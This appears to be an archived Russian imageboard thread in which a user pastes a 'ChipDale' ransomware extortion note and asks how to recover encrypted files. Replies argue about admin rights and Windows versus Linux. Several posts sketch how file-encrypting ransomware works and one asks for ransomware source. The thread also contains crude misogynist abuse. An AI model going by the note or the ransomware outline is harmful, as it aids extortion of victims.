Сохранен 549
https://2ch.hk/s/res/1085822.html
Изменился адрес Архивача в сети Tor — arhivachqqqvwqcotafhk4ks2he56seuwcshpayrm5myeq45vlff44yd.onion. Установите Tor Browser для беспрепятственного доступа!

Что за херня

 Аноним 17/11/14 Пнд 06:07:14 #1 №1085822 
14161936349580.jpg
Кто-то из семейства открыл вирусяку и все файлы закодировалить. Короче долго объяснять, вот конкретно паста из одного файла:
Чип и Дэйл спешат на помощь!

Молодая мышь-изобретатель установила, что все Вaши фaйлы повредил
серый полосатый кот Толстопуз. Босс Толстопуз вместе с безумным ученым
нортоном Нимнулом захватил и зaшифpoвал фaйлы.
Бурундучки Чип и Дэйл, массивный самец мыши из Австралии Рокфор и
механик Гайка готовы помочь Вам, и спасти Вaши дaнные.

Нам также противостоят кузен Толстопуза Мальтиз де Сад, бездомный кот
по имени Мэпс, ящерица Бородавка и Крот.

Стoимость yслуг спасателей 10000 ру.

Для того чтобы спaсти Ваши дaнныe пришлите Гайке на эллeктронную пoчту

[email protected]
_________________
1) фaйл, кoтoрый Вы сейчас читаете (!_спaсти файлы_.TxT). Дaнный фaйл есть в
кaждой диpектории, где имеются зaшифpoвaнные фaйлы. Если в каждой директoрии
несколько фaйлов (!_спaсти файлы_.TxT) (на конце непoнятные симвoлы), то
пpишлите всe фaйлы (!_спасти фaйлы_.TxT) из однoй любoй директoрии. Во
всех директoриях дaнные фaйлы дублиpуются. В этих фaйлах сoдеpжится kлюч.
Дaнные фaйлы неoбхoдимы для вoсстановления дaнных!
Тaким oбразом, Вaм неoбхoдимо пpислать файл(ы) (!_спасти файлы_.TxT) из однoй
любoй диpектoрии.
_________________
2) Oдин любoй зaшифpoваный фaйл небoльшoгo рaзмepa с paсширением .ChipDale

В oтвет нa Вaше письмo пpидeт исxoдный фaйл и инcтpyкция пo уплaте вoзнaгpaждения
спaсателям.
_________________
Пoсле oплaты Вaм пpидет пpoграммa, кoтopaя вaccтaнoвит всe дaнныe нa кoмпьютеpe.
Чито делать? Или кто знает как самому расшифровать файлы
Loading...
Аноним 17/11/14 Пнд 06:10:51 #2 №1085823 
>>1085822
Нужно было бекапить важные данные. Сейчас уже ничего не сделаешь.
Аноним 17/11/14 Пнд 06:24:05 #3 №1085826 
>>1085822
> Кто-то из семейства открыл вирусяку
А кто ему разрешил ходить с правами админа?
Аноним 17/11/14 Пнд 06:29:59 #4 №1085828 
>>1085826
Файлик вируса был хитрожепо спрятан во вложения к письмам, с подзаголовком (хз но что-то важное). Т е. пользователь сам открыл этот файл (как с вишмастером ситуёвинка).
Аноним 17/11/14 Пнд 06:30:40 #5 №1085829 
>>1085823
Я про возможную расшифровку и мож кто столкнулся
sageАноним 17/11/14 Пнд 06:33:13 #6 №1085830 
Спермопроблемы
Аноним 17/11/14 Пнд 06:38:17 #7 №1085833 
>>1085830
И линух не сможет совладать с обезумевшим файлом, если пользователем САМ открыл его.
Аноним 17/11/14 Пнд 06:42:02 #8 №1085834 
>>1085830
Проблемы идиотов, открывающих подозрительные файлы с правами админа.
fix
sageАноним 17/11/14 Пнд 06:46:31 #9 №1085835 
>>1085834
А в Linux идиот права админа не сможет получить
Аноним 17/11/14 Пнд 06:50:52 #10 №1085837 
>>1085834
так дело не в правах админа, файл то не изменяет параметры системы. просто конвертирует файлы документов ворд ексель и картинок.
Аноним 17/11/14 Пнд 06:57:26 #11 №1085838 
>>1085835
Смотря как настроить систему. Если правильно настроить винду, тоже не сможет.
Аноним 17/11/14 Пнд 06:58:52 #12 №1085839 
>>1085837
т. е. затрагивались только файлы, доступ к изменениям которых имеет обычный пользователь.
Аноним 17/11/14 Пнд 07:00:39 #13 №1085841 
>>1085839
И что, при первом запуске файла не выскочил uac?
Аноним 17/11/14 Пнд 07:06:00 #14 №1085843 
>>1085841
а ЭТО ЧО
Аноним 17/11/14 Пнд 07:08:37 #15 №1085845 
>>1085843
>>1085841
а понял, у нас икспень.
Аноним 17/11/14 Пнд 07:11:50 #16 №1085846 
14161975100970.png
>>1085843
Аноним 17/11/14 Пнд 07:13:20 #17 №1085848 
>>1085828
>Файлик вируса был хитрожепо спрятан во вложения к письмам, с подзаголовком (хз но что-то важное). Т е. пользователь сам открыл этот файл
Письма только на яндексе получаю, объясните, как такое вообще возможно: пришло письмо, там вложения. Первым же делом нужно расширение файла посмотреть, или его там не видно? На яндексе все приложенные файлы показываются внизу письма, там четко видно расширение и название.

Ведь, насколько я понимаю, это не эксплойт в почтовой программе, а самый обычный .exe, который запускает придурок-пользователь. Или я не понимаю чего-то?
Аноним 17/11/14 Пнд 07:13:36 #18 №1085849 
>>1085845
Лол, всё ясно с тобой. Тред можно скрывать.
Аноним 17/11/14 Пнд 07:15:25 #19 №1085851 
>>1085848
Всё ты правильно понимаешь.
Аноним 17/11/14 Пнд 07:17:30 #20 №1085852 
>>1085848
Я думаю что семейство ОПа-хуя использует какой-нибудь клиент почтовый. Он во вжениях просто показал, скажем, картинку пдф файла, пользователь его открыл. А там екзешник оказался
Аноним 17/11/14 Пнд 07:19:12 #21 №1085855 
>>1085852
а ты прав Летучую мышь и оутлук используем
Аноним 17/11/14 Пнд 07:21:20 #22 №1085857 
Да и счас погуглил, такая проблема не только у меня, но и у многих организаций и семей.
Аноним 17/11/14 Пнд 07:22:11 #23 №1085858 
>>1085852
>Он во вжениях просто показал, скажем, картинку пдф файла, пользователь его открыл. А там екзешник оказался
Пиздец, ну это же вирус уровня ХР начала нулевых. Мда. Сейчас погуглил - в некоторых случаях фигурирует файл с расширением src, не .exe. В любом случае, файлы с неизвестным расширением открывать - последнее дело.

Слава богу, что я из интернета по большей части порнуху в jpg и mp4 качаю.
Аноним 17/11/14 Пнд 07:26:25 #24 №1085859 
Классический СПЕРМООТСОС.
Аноним 17/11/14 Пнд 07:30:45 #25 №1085862 
>>1085855
>2014
>Использовать почтовые программы.
Аноним 17/11/14 Пнд 07:34:02 #26 №1085863 
>>1085839
А зачем ты этому обычному пользователю позволил изменять свои файлы?
Аноним 17/11/14 Пнд 07:48:47 #27 №1085865 
>>1085862
Что в этом такого?
17/11/14 Пнд 07:51:10 #28 №1085866 
>>1085835
>>1085834
Чтобы изменять файлы права админа не нужны, цель вируса не система, а пользовательские документы, для доступа к которым никакие права админа не нужны
Аноним 17/11/14 Пнд 07:51:57 #29 №1085867 
>>1085859
Будто бы среди пользователей линукса не бывает идиотов, сидящих под рутом.
Аноним 17/11/14 Пнд 07:52:27 #30 №1085868 
>>1085865
Но зачем?
17/11/14 Пнд 07:52:53 #31 №1085869 
>>1085841
Криптолокеру не нужны права админа, значит и никакой uac не вылезет
17/11/14 Пнд 07:56:11 #32 №1085870 
>>1085858
И сейчас используется такая хуйня причем массово
Аноним 17/11/14 Пнд 07:57:27 #33 №1085871 
>>1085869
Если ексешник не имеет цифровой подписи, при первом запуске uac всё равно вылезет.
Аноним 17/11/14 Пнд 07:59:47 #34 №1085872 
>>1085866
Лол, а ведь линукс от такого вируса тоже не защищён.
Аноним 17/11/14 Пнд 08:05:36 #35 №1085874 
>>1085848
Все это очень интересно, но я как-то на диске у сестры увидел пару файлов лалала.mp3.exe на вопрос какого хуя услышал гневной "я музыку хотела послушать". Так что вся безопасность разбивается пернд пиздорукостью пользователя
Аноним OP 17/11/14 Пнд 08:13:10 #36 №1085876 
Это ОП. Счас такая хуйня у знакомого на работе. Но тут не семейные архивы, а более серьезные вещи пропали.
Аноним 17/11/14 Пнд 08:13:20 #37 №1085877 
>>1085822
у тебя только два варианта
1)заплатить(никаках гарантий)
2)нагуглить антивирусные конторы которые помогают в таких ситуациях и написать им(никаких гарантий)
Аноним 17/11/14 Пнд 08:14:57 #38 №1085878 
>>1085876
Ну пизда значит файлам
Аноним OP 17/11/14 Пнд 08:15:05 #39 №1085879 
>>1085877
Третий вариант - спросить совета у анона, мож здеся цепану этого мудака-хацкера, ну или варианты по самостоятельной расшифровки файла.
Аноним 17/11/14 Пнд 08:15:25 #40 №1085880 
БЗД боярин вкатился итт и насмехается над СПЕРМОПРОБЛЕМАМИ
Аноним 17/11/14 Пнд 08:16:44 #41 №1085881 
>>1085879
оба вариарта из области фантастики, единственные реальные я написал.
Аноним 17/11/14 Пнд 08:17:10 #42 №1085883 
Где-то на хабре читал историю одного пострадавшего, он говорил, что из всех антивирусных вендоров лучше всех ему помогла техподдержка доктора веба. Но чтобы ей пользоваться, нужно купить доктор веб.
Аноним 17/11/14 Пнд 08:17:36 #43 №1085884 
>>1085880
От долбоебизма пользователя никакая систем не поможет.
Аноним 17/11/14 Пнд 08:24:17 #44 №1085887 
>>1085880
Не тролли, вот один адекват>>1085872

Аноним 17/11/14 Пнд 08:27:29 #45 №1085888 
>>1085884
Двачую.
Аноним 17/11/14 Пнд 08:30:54 #46 №1085889 
14162022543050.jpg
>>1085876
>семейные архивы
>серьезные вещи
>не делает бекапы
Аноним 17/11/14 Пнд 08:32:23 #47 №1085890 
14162023432190.jpg
>>1085822
Проиграл со СПЕРМОСКАЗОК.
Что-то уровня пикрелейтеда.
>>1085867
Бывают, но редко. А если и сидят, то недоверенные программы под рутом уж точно не запускают.
умник, сидящий под рутом
Аноним 17/11/14 Пнд 08:37:11 #48 №1085892 
14162026310100.jpg
>>1085890
>умник, сидящий под рутом
Аноним 17/11/14 Пнд 08:49:05 #49 №1085893 
>>1085890
>Бывают, но редко. А если и сидят, то недоверенные программы под рутом уж точно не запускают.
Ох уж эта ПЕРДОВЕРА.
Аноним 17/11/14 Пнд 09:26:35 #50 №1085901 
>>1085893
Что-то я не вижу ботнетов из десктопных жму/пинус-машин.
Аноним 17/11/14 Пнд 09:43:02 #51 №1085904 
>>1085868
Юзаю летучую мышь со вторых её версий. Оче много правил сортировки, превосходно справляется с моими 13-ю ящиками. Намного удоюнее чем, скажем, открывать 13 вкладок в браузере

>>1085852-кун

Аноним 17/11/14 Пнд 09:49:48 #52 №1085905 
>>1085901
Что-то я не вижу десктопных жму/пинус машин
Аноним 17/11/14 Пнд 09:50:35 #53 №1085906 
>>1085868
Удобнее работать с несколькими ящиками.
Аноним 17/11/14 Пнд 09:50:38 #54 №1085907 
>>1085901
Правильно, потому что линукс на десктопе занимает сам знаешь сколько процентов. А относительное кол-во заражённых десктопов не знает никто.
Аноним 17/11/14 Пнд 09:51:48 #55 №1085908 
>>1085904
Можно настроить перенаправление писем в один ящик.
Аноним 17/11/14 Пнд 10:21:01 #56 №1085919 
>>1085889
Да мог бы их просто рид онли сделать.
Аноним 17/11/14 Пнд 10:25:08 #57 №1085921 
>>1085908
Это если тебе только получать надо.
Аноним 17/11/14 Пнд 10:35:02 #58 №1085922 
>>1085921
Конспирация? Ок, я тебя понял.
Аноним 17/11/14 Пнд 10:35:23 #59 №1085924 
>>1085828
Понятно, что пользователь сам открыл. Ты на вопрос не ответил: почему этот пользователь сидел с правами администратора?
Аноним 17/11/14 Пнд 10:44:08 #60 №1085928 
>>1085924
на открытие вложений не требуются права админа.
Аноним 17/11/14 Пнд 10:49:44 #61 №1085932 
>>1085928
А пострадали только файлы одного пользователя?
И ты опять ушёл от ответа.
Аноним 17/11/14 Пнд 10:50:54 #62 №1085933 
>>1085932
Пострадали файлы (точнее только документы и изображения( всех пользователей, которые были на диске.
Аноним 17/11/14 Пнд 11:05:47 #63 №1085935 
>>1085933
Значит, права администратора были нужны — пользователь с ограниченной учётной записью не имеет доступа к файлам другого пользователя.
Итак. Почему пользователь сидел под учётной записью с правами администратора?
Аноним 17/11/14 Пнд 11:16:30 #64 №1085945 
>>1085822
Писать на [email protected], очевидно же.
Аноним 17/11/14 Пнд 11:20:46 #65 №1085950 
14162124460050.png
>>1085822
Рекомендую, ОП.
Ну а если использование спермы критично (игры, танки, мейсруагеннтики у подростающего поколения), то
1) Дай ремешком по жопе тому, кто сидел за пека и заразил его. Для стимулирования процесса обучения. Как это делали в царских гимназиях. 20+ — не беда, ему(ей) на пользу пойдет.
2) Переустанови шиндошс, файлы ты все равно не спасешь, эникеи тут не помогут.
3) ПОТРАТЬ ВЕЧЕР-ДВА НА ГУГЛ. ИЗУЧИ ПОЛИТИКИ. НЕ ВТЫКАЯ В ТАНКИ ИЛИ В ЮТЮБ, А ПОЧИТАЙ ТОТ ЖЕ MSDN. НАСТРОЙ ПЕКА ПО МАНУ, НЕ ПУСКАЯ ЗА НЕГО ОСТАЛЬНЫХ. АНАЛЬНО ПОРЕЖЬ ПРАВА, НОВЫЕ ИГРЫ — АМИГИ ТОЛЬКО ЧЕРЕЗ ТЕБЯ, КАК ЭТО ДЕЛАЮТ В УМНЫХ КОНТОРАХ.
4) Радуйся стабильной работе без вирасов, на вопли остальных членов семьи, что им НИИИУДОБНА МЕЙЛРУ НЕ СТАВИТСЯ ЯНДЕКС ДИСК НЕ КАЧАЕТ МОКРАЯ_ПИСКА.avi.exe НЕ СМОТРИТСЯ клади болт.
5) Готово.
Аноним 17/11/14 Пнд 11:21:44 #66 №1085952 
14162125047620.jpg
>>1085871
Не вылезет, не пизди.

>>1085874
Открою тебе секрет: 80% всех троянов и вирусов опирается исключительно на приём "скайчай и запусти этот файл"

>>1085901
Потому пользователей линупса полтора инвалида и у них как правило очень высокий уровень компьютерной грамотности.
Алсо, видел объявы на форумах кулхацкеров, в которых автор продаёт ломаные линукс сервера по 3-4 бакса за штуку (виндовые сервера обычно идут по 1-2 бакса).

>>1085950
"После драки кулаками не машут"
Аноним 17/11/14 Пнд 11:23:05 #67 №1085955 
>>1085952
> "После драки кулаками не машут"
Ну…учитывая спермоориентированность ОПа — это далеко не последняя его "драка".
sageАноним 17/11/14 Пнд 11:28:18 #68 №1085959 
>>1085822
>массивный самец мыши из Австралии Рокфор
Проиграл со спермоисторий.
sageАноним 17/11/14 Пнд 14:04:46 #69 №1086031 
14162222862920.png
>>1085822

для ценителей: http://forum.kaspersky.com/index.php?showtopic=310155
— Багор пользователей лицензионного касперского, которым понзашифровывали файло
Аноним 17/11/14 Пнд 14:20:09 #70 №1086063 
>>1086031
Такое чувство, что вирус недавно появился
Аноним 17/11/14 Пнд 14:24:24 #71 №1086067 
БЛЯЯ, на работе также секретутка заразила всех Спидом этим вирусом. Все дела и документы накрылись. БЛЯ, ДА Я ЗА ЭТО ЕЁ В ТУЗА ВЫЕБУ, СУКА!!!
Аноним 17/11/14 Пнд 14:25:30 #72 №1086068 
Ну и на сладенькое
http://mal4x.ru/post9596.html
Аноним 17/11/14 Пнд 14:26:08 #73 №1086069 
>>1086067
Нехуй на работу брать маминых принцесс-хуесосок, ты еще не понял, что ли, что бабам можно только член доверять?
Аноним 17/11/14 Пнд 14:27:18 #74 №1086072 
Скиньте такой вирус, хочу посмотреть че по чем
Аноним 17/11/14 Пнд 14:29:02 #75 №1086076 
>>1086069
Так эта тварь закатила глаза и сказала, что там очень важное, решение суда или как его там, СУКА А НА РАСШИРЕНИЕ НЕ ПОСМОТРЕЛА. Хоть бумажные копии сохранились, но ТЕПЕРЬ ИХ ВРУЧНУЮ ПЕРЕБИВАТЬ В КОМП, СУКА!!!
Аноним 17/11/14 Пнд 14:35:24 #76 №1086088 
>>1085822
Попробуй IDAPro или Ole Debugger. В самом теле трояна должен быть алгоритм шифрования, а ключ - в виде константы. Задачка на полчаса.
Аноним 17/11/14 Пнд 14:36:38 #77 №1086091 
14162241985210.png
Попробуй потоптать клавиатуру ногами, оп.
Аноним 17/11/14 Пнд 14:40:32 #78 №1086101 
Нет ничего приятнее, чем наблюдать за горящим пердаком пользователя Шпермашофт Питух ОС.
Аноним 17/11/14 Пнд 14:43:21 #79 №1086107 
>>1086101
ШПЕРМАСОФТ ПИТУХ ОС: ТОПЧИ КЛАВИАТУРУ!
Аноним 17/11/14 Пнд 14:52:55 #80 №1086120 
>>1086101
Windows-то здесь при чём, пердоля? Идиот и на линуксе бы запустил этот файл.
Аноним 17/11/14 Пнд 14:55:10 #81 №1086123 
>>1086120
Сперманя, но ведь под GNU/Linux такого не бывает. Вообще. Назови мне хоть один пример, а? И не назовешь. Зато в Питух ОС такое повсеместно.
Аноним 17/11/14 Пнд 14:57:42 #82 №1086125 
>>1086120
... не обладая правами рута, в результате чего были бы похерены только те файлы, овнером которых он сам и является. Система цела, файлы других пользователей целы.
Аноним 17/11/14 Пнд 14:57:45 #83 №1086126 
>>1086123
>под GNU/Linux такого не бывает
Докажи.
Аноним 17/11/14 Пнд 15:01:06 #84 №1086133 
>>1086125
И какая разница? В Windows абсолютно та же ситуация.
Аноним 17/11/14 Пнд 15:02:40 #85 №1086137 
14162257601590.png
>>1085822
Очевидно, что пришло время покаяться и поставить ЖМУ/Пинус.
Аноним 17/11/14 Пнд 15:06:18 #86 №1086144 
>>1085890

Простой_скрипт_на_перл.txt
Аноним 17/11/14 Пнд 15:06:26 #87 №1086146 
>>1086133
В windows нужно еще догадаться сесть не под рутом, что для большинства виндоюзеров сложноу оче. И таки для овнерства винду нужно настроить, у линуха это по дефолту, хотя конечно же, системные файлы винда не даст так просто тронуть даже под админом (что мы, собсна и наблюдаем у дятлов с моего пика).
Аноним 17/11/14 Пнд 15:11:49 #88 №1086150 
>>1086146
>В windows нужно еще догадаться сесть не под рутом, что для большинства виндоюзеров сложноу оче. И таки для овнерства винду нужно настроить
Давно уже по дефолту всё настроено.
Аноним 17/11/14 Пнд 15:15:35 #89 №1086156 
>>1086126
Нет ни одного описанного случая заражения б-жественного GNU/Linux ВИРОСОМ ВИНЛОКИРОМ. Это позволяет говорить о том, что ВИРОСОВ ВИНЛОКИРОВ под GNU/Linux нет.
Аноним 17/11/14 Пнд 15:19:19 #90 №1086167 
>>1086156
>Нет ни одного описанного случая
Ты не можешь этого знать.
Аноним 17/11/14 Пнд 15:21:21 #91 №1086173 
>>1086150
Лол, моему бате комп настроил ПРОГРАММИСТ. UAC нахуй отключил, в антивирус - платный eset (интересно, когда триал закончится, как он обновы накатывать будет?), и вот мой батя сидит так же как 10 лет назад - админская учётка, псевдозащита в виде антивируса. Я даже спорить не стал, ПРОГРАММИСТ же делал. Не удивлюсь, если завтра он побежит ко мне с этим вирусом "Чипидейл".
Аноним 17/11/14 Пнд 15:24:24 #92 №1086177 
>>1086173
И что? Это Windows виноват в идиотизме "программиста"?
Аноним 17/11/14 Пнд 15:24:43 #93 №1086178 
>>1086177
Нет, он ебал твою мамашу.
Аноним 17/11/14 Пнд 15:27:03 #94 №1086180 
>>1086177
Не, это я так, к слову сказал. Причём на мое замечание насчёт (хотя бы) UAC я получил привычное "я всегда так сидел еще на икспишке а ты мне тут хуйни понастраивал, пароли-хуероли, вот ПРОГРАММИСТ молодец".
Аноним 17/11/14 Пнд 15:28:02 #95 №1086181 
>>1086178
>Ба-бах!
Аноним 17/11/14 Пнд 15:30:32 #96 №1086187 
14162274328130.png
>>1086156
Но
Аноним 17/11/14 Пнд 15:33:57 #97 №1086193 
Чтобы зашифровать нахуй /home (в котором как раз и есть ценные файлы), не надо никаких рутов.

А если учесть долбоебство местных и не только местных убунтодаунов, запускающих скрипты через curl по очередной спинномозговой хаутушке (часто и с рутом, кек), то разница полностью стирается. Просто десктопный линукс нахуй никому не нужен, те полтора нищеброда не хранят на нем ничего стоящего выкупа.
Аноним 17/11/14 Пнд 15:34:53 #98 №1086196 
>>1086180
Лол, у меня есть знакомый линуксоид, который сидит под рутом и принципиально не ставит обновлений: типа, зачем нужны обновления, это же не винда, вирусов нет.
Аноним 17/11/14 Пнд 15:37:33 #99 №1086198 
>>1086193
Если это твой home. А если нет - попробуй создать еще одного пользователя (неважно как) и сделать хоть что-нибудь с его файлами. Переименовать, удалить и т.д.
Аноним 17/11/14 Пнд 15:39:00 #100 №1086200 
>>1086198
Пердолики, вы правда настолько ебануты? Вам не о том блядь говорят!
Аноним 17/11/14 Пнд 15:42:53 #101 №1086204 
>>1086200
А о чём же мне говорят? На линуксе вот так "в лоб" юзер может повредить только свои файлы, но систему он не положит. Если же юзера "добрые люди" научат, как сидеть под рутом, то тогда да, пизда рулю.
Аноним 17/11/14 Пнд 15:43:14 #102 №1086205 
>>1086187
Нехуй сторонними репами баловаться.
Аноним 17/11/14 Пнд 15:43:14 #103 №1086206 
Бля, вы любой тред в холивар между ОСями превратите.
Аноним 17/11/14 Пнд 15:44:44 #104 №1086207 
>>1086206
В этом весь смысл.
Аноним 17/11/14 Пнд 15:44:49 #105 №1086208 
>>1086206
Окстись, здесь нет холивара. Я бы сказал, что ничто не портит музыку так как её поклонники, но это как-то слишком избито.
Аноним 17/11/14 Пнд 15:45:57 #106 №1086209 
>>1086198
>Если это твой home.
Ну да, а чей же ещё? Леночка запустила виртуальный тест на беременность, финотчет зашифровался. А хоум чужого юзера и в шинде ты не снесешь без админа.
Аноним 17/11/14 Пнд 15:46:24 #107 №1086210 
>>1086206
Ты говоришь так, как будто это что-то плохое. Тебе вообще чего здесь нужно? Туда ли зашел?
Аноним 17/11/14 Пнд 15:46:25 #108 №1086211 
>>1086204
>На линуксе вот так "в лоб" юзер может повредить только свои файлы, но систему он не положит.
Как и в винде.
Аноним 17/11/14 Пнд 15:49:22 #109 №1086214 
>>1086209
Почему леночкин тест и финотчёт принадлежат одному и тому же юзеру?(
Аноним 17/11/14 Пнд 15:49:50 #110 №1086215 
>>1086205
>невозможно
>нехуй
ладно
Аноним 17/11/14 Пнд 15:50:00 #111 №1086216 
>>1086209
Остаётся только посочувствовать тому, кого назначат виноватым. Тут уж только жесткое анальное ограничение деятельности леночки с путем уменьшения видимого ей функционала. Т.е. только те сайты, которые нужны для работы, только тот софт, который нужен ей для работы, в идеале на экране отображаются три кнопки: выключить компьютер, запустить одинэску, позвать программиста. Тогда леночка не запустит тест на беременность, тупо кнопки не будет.
Аноним 17/11/14 Пнд 15:52:35 #112 №1086217 
Поссал на всех ИТТ.
мимо-годный-пользователь-inferno
Аноним 17/11/14 Пнд 17:31:10 #113 №1086292 
>>1086215
Сказка про то, как спермач на волшебном коне катался

Давным-давно, в тридевятом царстве, в тридесятом государстве жил-был Спермач. Спермач любил чтобы всякое дело делалось по способу, который Спермачу более люб, нежели который правильнее и разумнее. Ежели кто перечить смел, Спермач того бранил прескверными словами, доходил в сквернословии, бывало, и до матушки бранимого, а бранимого тогда уж палкой побивал. Крутого нрава был Спермач.
Прослышал однажды Спермач, что есть у старика Прыщиныча волшебный, сказочный конь. Конь всем коням конь, загляденье, а не конь. С одного конца царства до другого конь мог промчать всадника так быстро, что тот и моргнуть порой не успевал, а однажды Прыщиныч на том коне гору перевёз из заморской страны. Но крутого нрава был конь, и обуздать его не так-то легко было, и то только специальною сбруею. Секретов в той сбруе никаких не было, кроме того, что сбруя та дни ли недели, месяцы ли годы, в поту и трудных думах, готовилась для сего и только для сего коня Прыщинычем по точным размерам и с учётом нрава конского.
Прознал про коня Спермач и решил, что такому крутонравому молодцу как он, и конь под стать нужен: горячий и крутонравый. Подумано — сказано, сказано — сделано, и отправился Спермач к Прыщинычу.
Прыщиныч встретил его ни горячо и ни холодно, ни радости ни выказав, ни огорчения. Перечить Спермачу не стал, наслышан был о его нраве, и мудростью житейской был не обделён, понимал, что вскоре, когда у Спермача настроение переменится, конь к нему вернётся. Отдал коня Спермачу, при том строго-настрого наказывал сбрую не переменять, коли он посрамиться не хочет. Спермач разгневался, где это видано, чтобы ему указывали что делать, и повелел сбрую переменить тут же на его, расшитую золотом и камнями драгоценными украшенную.
Вскочил Спермач на коня, пришпорил его и понёсся, а сбруя-то и не выдержала, порвалась, перекусил конь узду, и Спермач лицом в говно упал.
Аноним 17/11/14 Пнд 17:42:45 #114 №1086295 
>>1086088
> В самом теле трояна должен быть алгоритм шифрования
Ой лол. Угу, есть там алгоритм - RSA. Можешь скачать с соусфоржа.
> а ключ - в виде константы
Диванный, ты мой. Приватный ключ создаётся рандомно и отсылается на сервер злоумышлиника, открытый валяется на компе жертвы, глупенький.
> Задачка на полчаса
Чтож ты тогда сычуешь на харкаче, а не как ерохин на Женьку работаешь?

>>1086068
> Trojan-Ransom.Win32.Cryakl
> Cryakl
Всегда проигрывал с этой версии криптолокера.
Аноним 17/11/14 Пнд 19:37:55 #115 №1086361 
>>1085822
Очередной вирусный спермоотсос. Спермопроблемы, короче.
Аноним 17/11/14 Пнд 20:15:13 #116 №1086396 
>>1086361
Очередной комментарий от сектанта Церкви GNU/Linux. Скучно.
Аноним 17/11/14 Пнд 20:28:48 #117 №1086413 
>>1086396
Очередной спермоподрыв.
Аноним 18/11/14 Втр 00:07:00 #118 №1086562 
>>1085950
> 3) ПОТРАТЬ ВЕЧЕР-ДВА НА ГУГЛ...
По ссылке руководство по максимально безопасной настройке хр.
https://forum.simplix.ks.ua/viewtopic.php?id=146
Аноним 18/11/14 Втр 00:53:50 #119 №1086575 
Господин напустил спермы из господского хуя спермошлюшке в рот.
Пердобог
Аноним 18/11/14 Втр 01:10:31 #120 №1086582 
>>1086575
> Пердобог
Проиграл с содомита.
18/11/14 Втр 01:23:19 #121 №1086587 
>>1086295
Никакого RSA не надо, а надо только симметричный aes , сгенерить ключ, отправить на сервер и шифрануть. Но суть в том, что разработчики настолько криворукие и делают всё наспех, что им некогда пилить всё это, они ключ шифрования хардкодят. Или же додумываются генерить ключи, но не додумываются использовать нормальный алгоритм и юзают ксор, в итоге ключ вычисляется за 3 минуты по файлу известного формата.
Аноним 18/11/14 Втр 02:12:24 #122 №1086598 
>>1086587
А про это по подробней.
Аноним 18/11/14 Втр 02:39:26 #123 №1086609 
>>1086575
> Пердобог
Аноним 18/11/14 Втр 06:45:19 #124 №1086641 
>>1086413
>>1086396
SPERMOVOR 18/11/14 Втр 07:22:41 #125 №1086644 
А где можно поискать исходники подобных вирусов-шифровальщиков, а то надо парочку компов зашифровать??
Аноним 18/11/14 Втр 07:29:34 #126 №1086645 
14162849743860.jpg
>>1086587
У меня один единственный вопрос, мань.
Ты криптолокер видел хоть раз?
Это обычный батник и исполняемый файл (+ необходимые библиотеки) обычного, ни в чём не повинного шифроПО уровня Advanced AES Encrypter и маленького (опять же безобидного) smtp.exe
Алгоритм прост как два пальца об асфальт:
1. Запускаем исполнятор.
2. Генерируем пару ключей (открытый+закрытый).
3. Рекурсивный поиск от корня по маске.
4. Шифрование полученного списка файлов и создания в каждой директории записки счастья.
Всё что можно сделать, это в процессе работы, пока программа в ОЗУ, попытаться перехватить приватный ключ. Как только она закончит работу - всё, только взлом серверов Мелори или брутфорс приватного ключа.
Так что никто там ничего не хардкодит. И весь "программинг" сводится к знаниям уровня Бабушкина.
Аноним 18/11/14 Втр 07:56:41 #127 №1086650 
>>1086644
Хитрый какой. Ты хоть знаешь сколько стоит подобный вирус?
Аноним 18/11/14 Втр 08:14:00 #128 №1086653 
>>1085848
> Ведь, насколько я понимаю, это не эксплойт в почтовой программе, а самый обычный .exe
Еще их на js пишут, в пенде есть что-то для их исполнения.

Когда уже криптолокеры под линукс напишут? Там ведь все проще, вообще похуй на расширение, антивирусников нет, любой линуксоид за 10 минут на баше слабает.
Аноним 18/11/14 Втр 08:26:37 #129 №1086655 
>>1086653
>Когда уже криптолокеры под линукс напишут?
Не выгодно.
Аноним 18/11/14 Втр 08:33:05 #130 №1086656 
>>1086655
Что? Такую хуйню можно в 3 строки на шелле уместить, openssl в большинстве дистров есть искаропки.
Аноним 18/11/14 Втр 08:52:26 #131 №1086659 
>>1086656
А как ты его запустишь? Насколько я помню скрипты не запускаются по клику мышью. Может, какой-нибудь .py прокатит, но подделать иконку и скрыть расширение уже не выйдет.

Ты ведь в курсе что виндовс не показывает расширения файлов изкоробки а ехе-шнику можно приделать любую иконку, сделав его визуально неотличимым от doc- или pdf-документа?
Аноним 18/11/14 Втр 09:04:29 #132 №1086664 
>>1086659
>сделав его визуально неотличимым от doc- или pdf-документа
По дефолту в файловом менеджере винды указан тип файла.
18/11/14 Втр 09:21:41 #133 №1086669 
>>1086598
Что именно?

>>1086645
Я видел криптолокеры и ковырял их. Это были говноподелки уровня 10 класса школы, которые просили смс на номер отправить.
Аноним 18/11/14 Втр 09:53:13 #134 №1086684 
>>1085901
>Что-то я не вижу ботнетов из десктопных жму/пинус-машин.
>>1085905 >>1085907 >>1085952
>КОКОКОКО НОЛЬ ПРОЦЕНТОВ ПИНУС ШВАБОДА
Windows-дети как всегда.
>>1086144
Осталось дождаться, пока я его запущу, да ещё и не из-под ограниченного пользователя, да ещё и вне чрута.
>>1086187
>Но это не заражение
Пофиксил.
Аноним 18/11/14 Втр 09:55:13 #135 №1086690 
>>1086669
>говноподелки уровня 10 класса школы
Это поэтому половина криптолокеров не взламывается в принципе?
Аноним 18/11/14 Втр 10:09:35 #136 №1086706 
>>1086684
>Windows-дети как всегда.
То есть по существу ответить нечего?
Аноним 18/11/14 Втр 10:11:50 #137 №1086708 
>>1086684
>Осталось дождаться, пока я его запущу
Ты не запустишь, а 95% пердоликов запустят.
Аноним 18/11/14 Втр 10:16:34 #138 №1086710 
>>1086706
Как видишь, нечего — доказать наличие десктопных ботнетов на GNU/Linux спермодети не смогли.
>>1086708
95% пердоликов не сидят под рутом, и это правильно. А GNU/Linux-боги могут позволить себе иметь постоянно открытую рут-консольку и запускать доверенное ПО точно так же из-под рута. Естественно, это не относится ко всяким браузерам и прочему софту, работающему с внешними данными.
Аноним 18/11/14 Втр 10:20:24 #139 №1086711 
>>1086710
>Как видишь, нечего — доказать наличие десктопных ботнетов на GNU/Linux спермодети не смогли.
А те не смог доказать их отсутствие.
>95% пердоликов не сидят под рутом
Если бы ты осилил прочитать этот тред, ты бы узнал, что для запуска криптолокера рут не нужен.
Аноним 18/11/14 Втр 10:37:21 #140 №1086719 
14162962416880.jpg
>>1086684
>Осталось дождаться, пока я его запущу, да ещё и не из-под ограниченного пользователя, да ещё и вне чрута.
